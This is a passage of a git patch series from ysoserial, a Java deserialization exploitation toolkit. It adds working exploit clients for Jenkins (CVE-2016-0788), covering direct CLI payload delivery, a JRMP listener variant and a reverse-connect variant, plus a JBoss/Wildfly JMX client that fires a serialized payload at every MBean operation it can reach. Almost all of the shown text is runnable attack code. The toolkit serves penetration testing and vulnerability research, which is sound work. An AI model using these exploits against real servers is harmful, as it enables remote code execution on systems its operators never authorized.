deletions(-) diff --git a/src/main/java/ysoserial/payloads/Myfaces1.java b/src/main/java/ysoserial/payloads/Myfaces1.java index b0bf797..cc73fde 100644 --- a/src/main/java/ysoserial/payloads/Myfaces1.java +++ b/src/main/java/ysoserial/payloads/Myfaces1.java @@ -1,7 +1,6 @@ package ysoserial.payloads; -import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import javax.el.ELContext; @@ -20,6 +19,7 @@ import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; /** @@ -44,7 +44,7 @@ import ysoserial.payloads.util.PayloadRunner; "nls", "javadoc" } ) @PayloadTest(skip="Requires running MyFaces, no direct execution") -public class Myfaces1 implements ObjectPayload { +public class Myfaces1 implements ObjectPayload, DynamicDependencies { /** * {@inheritDoc} @@ -55,11 +55,37 @@ public class Myfaces1 implements ObjectPayload { public Object getObject ( String command ) throws Exception { return makeExpressionPayload(command); } + + + public static String[] getDependencies () { + if ( System.getProperty("el") == null || "apache".equals(System.getProperty("el")) ) { + return new String[] { + "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", + "org.mortbay.jasper:apache-el:8.0.27", + "javax.servlet:javax.servlet-api:3.1.0", + + // deps for mocking the FacesContext + "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" + }; + } else if ( "juel".equals(System.getProperty("el")) ) { + return new String[] { + "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", + "de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7", + "javax.servlet:javax.servlet-api:3.1.0", + + // deps for mocking the FacesContext + "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" + }; + } + + throw new IllegalArgumentException("Invalid el type " + System.getProperty("el")); + } /** * @param expr * @return + * @throws IllegalArgumentException * @throws NoSuchFieldException * @throws IllegalAccessException * @throws Exception @@ -68,15 +94,12 @@ public class Myfaces1 implements ObjectPayload { * @throws InstantiationException * @throws InvocationTargetException */ - public static Object makeExpressionPayload ( String expr ) throws NoSuchFieldException, IllegalAccessException, Exception, ClassNotFoundException, - NoSuchMethodException, InstantiationException, InvocationTargetException { + public static Object makeExpressionPayload ( String expr ) throws IllegalArgumentException, IllegalAccessException, Exception { FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null); - Field fEl = FacesContextImplBase.class.getDeclaredField("_elContext"); - fEl.setAccessible(true); ELContext elContext = new FacesELContext(new CompositeELResolver(), fc); - fEl.set(fc, elContext); + Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext); ExpressionFactory expressionFactory = ExpressionFactory.newInstance(); - + ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class); ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1); ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class); //$NON-NLS-1$ diff --git a/src/main/java/ysoserial/payloads/Myfaces2.java b/src/main/java/ysoserial/payloads/Myfaces2.java index d4451dd..ec5f6ae 100644 --- a/src/main/java/ysoserial/payloads/Myfaces2.java +++ b/src/main/java/ysoserial/payloads/Myfaces2.java @@ -31,28 +31,9 @@ import ysoserial.payloads.util.PayloadRunner; public class Myfaces2 implements ObjectPayload, DynamicDependencies { public static String[] getDependencies () { - if ( System.getProperty("el") == null || "apache".equals(System.getProperty("el")) ) { - return new String[] { - "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", - "org.mortbay.jasper:apache-el:8.0.27", - "javax.servlet:javax.servlet-api:3.1.0", - - // deps for mocking the FacesContext - "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" - }; - } else if ( "juel".equals(System.getProperty("el")) ) { - return new String[] { - "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", - "de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7", - "javax.servlet:javax.servlet-api:3.1.0", - - // deps for mocking the FacesContext - "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" - }; - } - - throw new IllegalArgumentException("Invalid el type " + System.getProperty("el")); + return Myfaces1.getDependencies(); } + /** From c94779b83d6e5933d0dcee4749a9f4c7208f2789 Mon Sep 17 00:00:00 2001 From: mbechler Date: Sun, 6 Mar 2016 12:27:37 +0100 Subject: [PATCH 14/25] Add jenkins client and exploits (CVE-2016-0788) --- pom.xml | 34 +-- .../java/ysoserial/exploit/JenkinsCLI.java | 136 +++++++++++ .../ysoserial/exploit/JenkinsListener.java | 231 ++++++++++++++++++ .../ysoserial/exploit/JenkinsReverse.java | 94 +++++++ 4 files changed, 479 insertions(+), 16 deletions(-) create mode 100644 src/main/java/ysoserial/exploit/JenkinsCLI.java create mode 100644 src/main/java/ysoserial/exploit/JenkinsListener.java create mode 100644 src/main/java/ysoserial/exploit/JenkinsReverse.java diff --git a/pom.xml b/pom.xml index 4f1264a..07f49ea 100644 --- a/pom.xml +++ b/pom.xml @@ -51,6 +51,14 @@ + + + + jenkins + default + http://repo.jenkins-ci.org/public/ + + @@ -105,6 +113,11 @@ commons-codec 1.9 + + remoting + org.jenkins-ci.main + 2.55 + @@ -179,25 +192,14 @@ myfaces-impl 2.2.9 + + xalan + xalan + 2.7.2 + - - xalan - - - properXalan - - - - - xalan - xalan - 2.7.2 - - - - hibernate5 diff --git a/src/main/java/ysoserial/exploit/JenkinsCLI.java b/src/main/java/ysoserial/exploit/JenkinsCLI.java new file mode 100644 index 0000000..7bb958b --- /dev/null +++ b/src/main/java/ysoserial/exploit/JenkinsCLI.java @@ -0,0 +1,136 @@ +package ysoserial.exploit; + +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.OutputStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.net.HttpURLConnection; +import java.net.InetSocketAddress; +import java.net.MalformedURLException; +import java.net.Socket; +import java.net.SocketException; +import java.net.URL; +import java.net.URLConnection; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.concurrent.ThreadFactory; + +import javax.net.SocketFactory; + +import hudson.remoting.Callable; +import hudson.remoting.Channel; +import hudson.remoting.Channel.Mode; +import hudson.remoting.ChannelBuilder; +import ysoserial.payloads.ObjectPayload; +import ysoserial.payloads.ObjectPayload.Utils; + +/** + * @author mbechler + * + */ +@SuppressWarnings ( { + "rawtypes" +} ) +public class JenkinsCLI { + public static final void main ( final String[] args ) { + if ( args.length < 3 ) { + System.err.println(JenkinsCLI.class.getName() + " "); + System.exit(-1); + } + + final Class payloadClass = Utils.getPayloadClass(args[ 1 ]); + if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { + System.err.println("Invalid payload type '" + args[ 1 ] + "'"); + System.exit(-1); + return; + } + + final Object payloadObject; + try { + final ObjectPayload payload = payloadClass.newInstance(); + payloadObject = payload.getObject(args[ 2 ]); + } + catch ( Exception e ) { + System.err.println("Failed to construct payload"); + e.printStackTrace(System.err); + System.exit(-1); + return; + } + + String jenkinsUrl = args[ 0 ]; + Channel c = null; + try { + InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); + c = JenkinsCLI.openChannel(isa); + c.call(getPropertyCallable(payloadObject)); + } + catch ( Throwable e ) { + e.printStackTrace(); + } + finally { + if ( c != null ) { + try { + c.close(); + } + catch ( IOException e ) { + e.printStackTrace(System.err); + } + } + } + } + + public static Callable getPropertyCallable ( final Object prop ) + throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + Class reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest"); + Constructor reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class); + reqCons.setAccessible(true); + Object getJarLoader = reqCons + .newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[] { + prop + }); + return (Callable) getJarLoader; + } + + public static InetSocketAddress getCliPort ( String jenkinsUrl ) throws MalformedURLException, IOException { + URL u = new URL(jenkinsUrl); + + URLConnection conn = u.openConnection(); + if ( ! ( conn instanceof HttpURLConnection ) ) { + System.err.println("Not a HTTP URL"); + throw new MalformedURLException(); + } + + HttpURLConnection hc = (HttpURLConnection) conn; + if ( hc.getResponseCode() >= 400 ) { + System.err.println("* Error connection to jenkins HTTP " + u); + } + int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port")); + + return new InetSocketAddress(u.getHost(), clip); + } + + public static Channel openChannel ( InetSocketAddress isa ) throws IOException, SocketException { + System.err.println("* Opening socket " + isa); + Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort()); + s.setKeepAlive(true); + s.setTcpNoDelay(true); + + System.err.println("* Opening channel"); + OutputStream outputStream = s.getOutputStream(); + DataOutputStream dos = new DataOutputStream(outputStream); + dos.writeUTF("Protocol:CLI-connect"); + ExecutorService cp = Executors.newCachedThreadPool(new ThreadFactory() { + + public Thread newThread ( Runnable r ) { + Thread t = new Thread(r, "Channel"); + t.setDaemon(true); + return t; + } + }); + Channel c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream); + System.err.println("* Channel open"); + return c; + } +} diff --git a/src/main/java/ysoserial/exploit/JenkinsListener.java b/src/main/java/ysoserial/exploit/JenkinsListener.java new file mode 100644 index 0000000..cdb42ec --- /dev/null +++ b/src/main/java/ysoserial/exploit/JenkinsListener.java @@ -0,0 +1,231 @@ +package ysoserial.exploit; + + +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.lang.reflect.Proxy; +import java.net.InetSocketAddress; +import java.net.Socket; +import java.rmi.activation.ActivationDesc; +import java.rmi.activation.ActivationID; +import java.rmi.activation.ActivationInstantiator; + +import javax.net.SocketFactory; + +import hudson.remoting.Callable; +import hudson.remoting.Channel; +import hudson.remoting.JarLoader; +import sun.rmi.server.Util; +import sun.rmi.transport.TransportConstants; +import ysoserial.payloads.JRMPListener; +import ysoserial.payloads.ObjectPayload; +import ysoserial.payloads.ObjectPayload.Utils; +import ysoserial.payloads.util.Reflections; + + +/** + * CVE-2016-0788 exploit (1) + * + * @author mbechler + */ +@SuppressWarnings ( { + "rawtypes", "restriction" +} ) +public class JenkinsListener { + + public static final void main ( final String[] args ) { + + if ( args.length < 3 ) { + System.err.println(JenkinsListener.class.getName() + " "); + System.exit(-1); + } + + final Class payloadClass = Utils.getPayloadClass(args[ 1 ]); + if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { + System.err.println("Invalid payload type '" + args[ 1 ] + "'"); + System.exit(-1); + } + + String jenkinsUrl = args[ 0 ]; + int jrmpPort = 12345; + + Channel c = null; + try { + InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); + c = JenkinsCLI.openChannel(isa); + + Object call = c.call( JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours")); + InvocationHandler remote = Proxy.getInvocationHandler(call); + int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote); + + System.err.println("* JarLoader oid is " + oid); + + Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort)); + + Class reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest"); + + Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass); + + try { + c.call((Callable) o); + } + catch ( Exception e ) { + // [ActivationGroupImpl[UnicastServerRef [liveRef: + // [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1, + // -9046794842107247609]] + + System.err.println(e.getMessage()); + + parseObjIdAndExploit(args, payloadClass, jrmpPort, isa, e); + } + + } + catch ( Throwable e ) { + e.printStackTrace(); + } + finally { + if ( c != null ) { + try { + c.close(); + } + catch ( IOException e ) { + e.printStackTrace(System.err); + } + } + } + + } + + + /** + * @param oid + * @param uro + * @param reqClass + * @return + * @throws NoSuchMethodException + * @throws InstantiationException + * @throws IllegalAccessException + * @throws InvocationTargetException + * @throws ClassNotFoundException + */ + private static Object makeIsPresentOnRemoteCallable ( int oid, Object uro, Class reqClass ) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException { + Constructor reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class); + reqCons.setAccessible(true); + return reqCons + .newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[] { + uro, + }); + } + + + /** + * @param args + * @param payloadClass + * @param jrmpPort + * @param isa + * @param e + * @throws Exception + * @throws IOException + */ + private static void parseObjIdAndExploit ( final String[] args, final Class payloadClass, int jrmpPort, + InetSocketAddress isa, Exception e ) throws Exception, IOException { + String msg = e.getMessage(); + int start = msg.indexOf("objID:["); + if ( start < 0 ) { + throw new Exception("Failed to get object id"); + } + + int sep = msg.indexOf(", ", start + 1); + + if ( sep < 0 ) { + throw new Exception("Failed to get object id, separator"); + } + + int end = msg.indexOf("]", sep + 1); + + if ( end < 0 ) { + throw new Exception("Failed to get object id, separator"); + } + + String uid = msg.substring(start + 7, sep); + String objNum = msg.substring(sep + 2, end); + + System.err.println("* UID is " + uid); + System.err.println("* ObjNum is " + objNum); + + String[] parts = uid.split(":"); + + long obj = Long.parseLong(objNum); + int o1 = Integer.parseInt(parts[ 0 ], 16); + long o2 = Long.parseLong(parts[ 1 ], 16); + short o3 = Short.parseShort(parts[ 2 ], 16); + + exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, payloadClass, args[ 2 ]); + } + + + /** + * @param inetSocketAddress + * @param obj + * @param o1 + * @param o2 + * @param o3 + * @throws IOException + */ + private static void exploit ( InetSocketAddress isa, long obj, int o1, long o2, short o3, Class payloadClass, String payloadArg ) + throws IOException { + Socket s = null; + DataOutputStream dos = null; + try { + System.err.println("* Opening JRMP socket " + isa); + s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort()); + s.setKeepAlive(true); + s.setTcpNoDelay(true); + + OutputStream os = s.getOutputStream(); + dos = new DataOutputStream(os); + + dos.writeInt(TransportConstants.Magic); + dos.writeShort(TransportConstants.Version); + dos.writeByte(TransportConstants.SingleOpProtocol); + + dos.write(TransportConstants.Call); + + @SuppressWarnings ( "resource" ) + final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos); + + objOut.writeLong(obj); + objOut.writeInt(o1); + objOut.writeLong(o2); + objOut.writeShort(o3); + + objOut.writeInt(-1); + objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class))); + + final ObjectPayload payload = (ObjectPayload) payloadClass.newInstance(); + final Object object = payload.getObject(payloadArg); + objOut.writeObject(object); + os.flush(); + } + catch ( Exception e ) { + e.printStackTrace(System.err); + } + finally { + if ( dos != null ) { + dos.close(); + } + if ( s != null ) { + s.close(); + } + } + } + + +} diff --git a/src/main/java/ysoserial/exploit/JenkinsReverse.java b/src/main/java/ysoserial/exploit/JenkinsReverse.java new file mode 100644 index 0000000..4dc0e31 --- /dev/null +++ b/src/main/java/ysoserial/exploit/JenkinsReverse.java @@ -0,0 +1,94 @@ +package ysoserial.exploit; + + +import java.io.IOException; +import java.net.InetSocketAddress; +import java.rmi.registry.Registry; +import java.util.Random; + +import hudson.remoting.Channel; +import ysoserial.exploit.JRMPListener; +import ysoserial.payloads.JRMPClient; +import ysoserial.payloads.ObjectPayload; +import ysoserial.payloads.ObjectPayload.Utils; + + +/** + * CVE-2016-0788 exploit (2) + * + * @author mbechler + * + */ +@SuppressWarnings ( { + "rawtypes" +} ) +public class JenkinsReverse { + + public static final void main ( final String[] args ) { + if ( args.length < 4 ) { + System.err.println(JenkinsListener.class.getName() + " "); + System.exit(-1); + } + + final Class payloadClass = Utils.getPayloadClass(args[ 2 ]); + if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { + System.err.println("Invalid payload type '" + args[ 2 ] + "'"); + System.exit(-1); + return; + } + + final Object payloadObject; + try { + final ObjectPayload payload = payloadClass.newInstance(); + payloadObject = payload.getObject(args[ 3 ]); + } + catch ( Exception e ) { + System.err.println("Failed to construct payload"); + e.printStackTrace(System.err); + System.exit(-1); + return; + } + + String myAddr = args[ 1 ]; + int jrmpPort = new Random().nextInt(65536 - 1024) + 1024; + String jenkinsUrl = args[ 0 ]; + + Thread t = null; + Channel c = null; + try { + InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); + c = JenkinsCLI.openChannel(isa); + JRMPListener listener = new JRMPListener(jrmpPort, payloadObject); + t = new Thread(listener, "ReverseDGC"); + t.setDaemon(true); + t.start(); + Registry payload = new JRMPClient().getObject(myAddr + ":" + jrmpPort); + c.call(JenkinsCLI.getPropertyCallable(payload)); + listener.waitFor(1000); + listener.close(); + } + catch ( Throwable e ) { + e.printStackTrace(); + } + finally { + if ( c != null ) { + try { + c.close(); + } + catch ( IOException e ) { + e.printStackTrace(System.err); + } + } + + if ( t != null ) { + t.interrupt(); + try { + t.join(); + } + catch ( InterruptedException e ) { + e.printStackTrace(System.err); + } + } + } + } +} From 37dbcf57e48fa5f87a5c97c4831709370531585f Mon Sep 17 00:00:00 2001 From: mbechler Date: Sun, 6 Mar 2016 12:37:49 +0100 Subject: [PATCH 15/25] Fix fileupload test reliability --- src/test/java/ysoserial/payloads/FileUploadTest.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/test/java/ysoserial/payloads/FileUploadTest.java b/src/test/java/ysoserial/payloads/FileUploadTest.java index 34b876a..dd1e84b 100644 --- a/src/test/java/ysoserial/payloads/FileUploadTest.java +++ b/src/test/java/ysoserial/payloads/FileUploadTest.java @@ -31,7 +31,6 @@ public class FileUploadTest implements CustomTest { public FileUploadTest () { try { source = File.createTempFile("fileupload-test", ".source"); - source.deleteOnExit(); repo = Files.createTempDir(); } catch ( IOException e ) { @@ -63,6 +62,7 @@ public class FileUploadTest implements CustomTest { f.delete(); } this.repo.delete(); + this.source.delete(); } } } From 8beeec65944c38b7eb9e466bb1312567f858dea9 Mon Sep 17 00:00:00 2001 From: mbechler Date: Sun, 6 Mar 2016 12:38:18 +0100 Subject: [PATCH 16/25] Add JBoss/Wildfly exploitation client. --- pom.xml | 37 ++ src/main/java/ysoserial/exploit/JBoss.java | 503 +++++++++++++++++++++ 2 files changed, 540 insertions(+) create mode 100644 src/main/java/ysoserial/exploit/JBoss.java diff --git a/pom.xml b/pom.xml index 07f49ea..40e8006 100644 --- a/pom.xml +++ b/pom.xml @@ -118,6 +118,42 @@ org.jenkins-ci.main 2.55 + + org.jboss.logging + jboss-logging + 3.3.0.Final + + + org.jboss.remoting + jboss-remoting + 4.0.19.Final + + + org.jboss + jboss-common-core + 2.5.0.Final + + + org.jboss.logging + jboss-logging-spi + + + + + org.jboss.xnio + xnio-nio + 3.3.4.Final + + + org.jboss.sasl + jboss-sasl + 1.0.5.Final + + + org.jboss.remotingjmx + remoting-jmx + 2.0.1.Final + @@ -255,5 +291,6 @@ + diff --git a/src/main/java/ysoserial/exploit/JBoss.java b/src/main/java/ysoserial/exploit/JBoss.java new file mode 100644 index 0000000..58ddd7e --- /dev/null +++ b/src/main/java/ysoserial/exploit/JBoss.java @@ -0,0 +1,503 @@ +package ysoserial.exploit; + + +import java.io.IOException; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.net.InetSocketAddress; +import java.net.MalformedURLException; +import java.net.SocketAddress; +import java.net.URI; +import java.security.KeyManagementException; +import java.security.NoSuchAlgorithmException; +import java.security.NoSuchProviderException; +import java.util.HashMap; +import java.util.Map; +import java.util.Set; +import java.util.concurrent.Executor; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.concurrent.ThreadFactory; +import java.util.concurrent.TimeUnit; +import java.util.logging.Handler; +import java.util.logging.Level; +import java.util.logging.LogManager; +import java.util.logging.LogRecord; +import java.util.logging.Logger; + +import javax.management.InstanceNotFoundException; +import javax.management.IntrospectionException; +import javax.management.MBeanInfo; +import javax.management.MBeanOperationInfo; +import javax.management.MBeanServerConnection; +import javax.management.ObjectInstance; +import javax.management.ReflectionException; +import javax.management.remote.JMXServiceURL; +import javax.security.auth.callback.Callback; +import javax.security.auth.callback.CallbackHandler; +import javax.security.auth.callback.NameCallback; +import javax.security.auth.callback.PasswordCallback; +import javax.security.auth.callback.UnsupportedCallbackException; +import javax.security.sasl.RealmCallback; + +import org.jboss.remoting3.Channel; +import org.jboss.remoting3.Connection; +import org.jboss.remoting3.Endpoint; +import org.jboss.remoting3.OpenListener; +import org.jboss.remoting3.Remoting; +import org.jboss.remoting3.remote.HttpUpgradeConnectionProviderFactory; +import org.jboss.remoting3.spi.ConnectionHandler; +import org.jboss.remoting3.spi.ConnectionHandlerContext; +import org.jboss.remoting3.spi.ConnectionHandlerFactory; +import org.jboss.remoting3.spi.ConnectionProvider; +import org.jboss.remoting3.spi.ConnectionProviderContext; +import org.jboss.remoting3.spi.RegisteredService; +import org.jboss.remotingjmx.VersionedConnection; +import org.xnio.FutureResult; +import org.xnio.IoFuture; +import org.xnio.IoFuture.Status; +import org.xnio.OptionMap; +import org.xnio.Options; +import org.xnio.Xnio; +import org.xnio.XnioWorker; +import org.xnio.ssl.JsseXnioSsl; +import org.xnio.ssl.XnioSsl; + +import ysoserial.payloads.ObjectPayload; +import ysoserial.payloads.ObjectPayload.Utils; + + +/** + * + * An exploitation client for JBoss AS/Wildfly JMX + * + * This is not as readily exploitable as in other pieces of software: + * 1. they only allow authenticated access by default + * 2. they have a very strict module architecture: + * - all MBeans exported by default use classloaders that expose almost nothing useful + * - the module classloaders do not even expose the full boot classpath, so we cannot readily use stuff like + * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl + * + * + * + * @author mbechler + * + */ +@SuppressWarnings ( { + "rawtypes" +} ) +public class JBoss { + + public static void main ( String[] args ) { + + if ( args.length < 3 ) { + System.err.println("Usage " + JBoss.class.getName() + " "); + System.exit(-1); + } + + URI u = URI.create(args[ 0 ]); + + final Class payloadClass = Utils.getPayloadClass(args[ 1 ]); + if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { + System.err.println("Invalid payload type '" + args[ 1 ] + "'"); + System.exit(-1); + return; + } + + final Object payloadObject; + try { + final ObjectPayload payload = payloadClass.newInstance(); + payloadObject = payload.getObject(args[ 2 ]); + } + catch ( Exception e ) { + System.err.println("Failed to construct payload"); + e.printStackTrace(System.err); + System.exit(-1); + return; + } + + String username = null; + String password = null; + if ( u.getUserInfo() != null ) { + int sep = u.getUserInfo().indexOf(':'); + if ( sep >= 0 ) { + username = u.getUserInfo().substring(0, sep); + password = u.getUserInfo().substring(sep + 1); + } + else { + System.err.println("Need :@"); + System.exit(-1); + } + } + + doRun(u, payloadObject, username, password); + + } + + + + /** + * @param u + * @param payloadObject + * @param username + * @param password + */ + private static void doRun ( URI u, final Object payloadObject, String username, String password ) { + ConnectionProvider instance = null; + ConnectionProviderContextImpl context = null; + ConnectionHandler ch = null; + Channel c = null; + VersionedConnection vc = null; + try { + Logger logger = LogManager.getLogManager().getLogger(""); + logger.addHandler(new ConsoleLogHandler()); + logger.setLevel(Level.INFO); + OptionMap options = OptionMap.builder().set(Options.SSL_ENABLED, u.getScheme().equals("https")).getMap(); + context = new ConnectionProviderContextImpl(options, "endpoint"); + instance = new HttpUpgradeConnectionProviderFactory().createInstance(context, options); + String host = u.getHost(); + int port = u.getPort() > 0 ? u.getPort() : 9990; + SocketAddress destination = new InetSocketAddress(host, port); + ConnectionHandlerFactory chf = getConnection(destination, username, password, context, instance, options); + ch = chf.createInstance(new ConnectionHandlerContextImpl(context)); + c = getChannel(context, ch, options); + System.err.println("Connected"); + vc = makeVersionedConnection(c); + MBeanServerConnection mbc = vc.getMBeanServerConnection(null); + doExploit(payloadObject, mbc); + System.err.println("DONE"); + } + catch ( Throwable e ) { + e.printStackTrace(System.err); + } + finally { + cleanup(instance, context, ch, c, vc); + } + } + + + + /** + * @param instance + * @param context + * @param ch + * @param c + * @param vc + */ + private static void cleanup ( ConnectionProvider instance, ConnectionProviderContextImpl context, ConnectionHandler ch, Channel c, + VersionedConnection vc ) { + if ( vc != null ) { + vc.close(); + } + + if ( c != null ) { + try { + c.close(); + } + catch ( IOException e ) { + e.printStackTrace(System.err); + } + } + + if ( ch != null ) { + try { + ch.close(); + } + catch ( IOException e ) { + e.printStackTrace(System.err); + } + } + if ( instance != null ) { + try { + instance.close(); + } + catch ( IOException e ) { + e.printStackTrace(System.err); + } + } + + if ( context != null ) { + context.getXnioWorker().shutdown(); + } + } + + + /** + * @param destination + * @param username + * @param password + * @param context + * @param instance + * @param options + * @param xnioSsl + * @return + * @throws IOException + * @throws InterruptedException + * @throws NoSuchAlgorithmException + * @throws NoSuchProviderException + * @throws KeyManagementException + */ + private static ConnectionHandlerFactory getConnection ( SocketAddress destination, final String username, final String password, + ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options ) + throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException { + XnioSsl xnioSsl = new JsseXnioSsl(context.getXnio(), options); + FutureResult result = new FutureResult(); + instance.connect(null, destination, options, result, new CallbackHandler() { + + public void handle ( Callback[] callbacks ) throws IOException, UnsupportedCallbackException { + + for ( Callback cb : callbacks ) { + + if ( cb instanceof NameCallback ) { + ( (NameCallback) cb ).setName(username); + } + else if ( cb instanceof PasswordCallback ) { + ( (PasswordCallback) cb ).setPassword(password != null ? password.toCharArray() : new char[0]); + } + else if ( !( cb instanceof RealmCallback) ) { + System.err.println(cb); + throw new UnsupportedCallbackException(cb); + } + } + } + }, xnioSsl); + + System.err.println("waiting for connection"); + IoFuture ioFuture = result.getIoFuture(); + Status s = ioFuture.await(5, TimeUnit.SECONDS); + if ( s == Status.FAILED ) { + System.err.println("Cannot connect"); + if ( ioFuture.getException() != null ) { + ioFuture.getException().printStackTrace(System.err); + } + } + else if ( s != Status.DONE ) { + ioFuture.cancel(); + System.err.println("Connect timeout"); + System.exit(-1); + } + + ConnectionHandlerFactory chf = ioFuture.getInterruptibly(); + return chf; + } + + + /** + * @param context + * @param ch + * @param options + * @return + * @throws IOException + */ + private static Channel getChannel ( ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options ) throws IOException { + Channel c; + FutureResult chResult = new FutureResult(context.getExecutor()); + ch.open("jmx", chResult, options); + + IoFuture cFuture = chResult.getIoFuture(); + Status s2 = cFuture.await(); + if ( s2 == Status.FAILED ) { + System.err.println("Cannot connect"); + if ( cFuture.getException() != null ) { + throw new IOException("Connect failed", cFuture.getException()); + } + } + else if ( s2 != Status.DONE ) { + cFuture.cancel(); + throw new IOException("Connect timeout"); + } + + c = cFuture.get(); + return c; + } + + + /** + * @param c + * @return + * @throws ClassNotFoundException + * @throws NoSuchMethodException + * @throws IllegalAccessException + * @throws InvocationTargetException + * @throws MalformedURLException + */ + private static VersionedConnection makeVersionedConnection ( Channel c ) + throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, MalformedURLException { + VersionedConnection vc; + Class vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory"); + Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class); + vcCreate.setAccessible(true); + vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://")); + return vc; + } + + + /** + * @param payloadObject + * @param mbc + * @throws IOException + * @throws InstanceNotFoundException + * @throws IntrospectionException + * @throws ReflectionException + */ + private static void doExploit ( final Object payloadObject, MBeanServerConnection mbc ) + throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException { + Object[] params = new Object[1]; + params[ 0 ] = payloadObject; + System.err.println("Querying MBeans"); + Set testMBeans = mbc.queryMBeans(null, null); + System.err.println("Found " + testMBeans.size() + " MBeans"); + for ( ObjectInstance oi : testMBeans ) { + MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName()); + for ( MBeanOperationInfo opInfo : mBeanInfo.getOperations() ) { + try { + mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[] {}); + System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS"); + return; + } + catch ( Throwable e ) { + String msg = e.getMessage(); + if ( msg.startsWith("java.lang.ClassNotFoundException:") ) { + int start = msg.indexOf('"'); + int stop = msg.indexOf('"', start + 1); + String module = ( start >= 0 && stop > 0 ) ? msg.substring(start + 1, stop) : ""; + if ( !"".equals(module) && !"org.jboss.as.jmx:main".equals(module) ) { + int cstart = msg.indexOf(':'); + int cend = msg.indexOf(' ', cstart + 2); + String cls = msg.substring(cstart + 2, cend); + System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")"); + } + } + else { + System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg); + return; + } + } + } + } + } + + /** + * @author mbechler + * + */ + private static final class 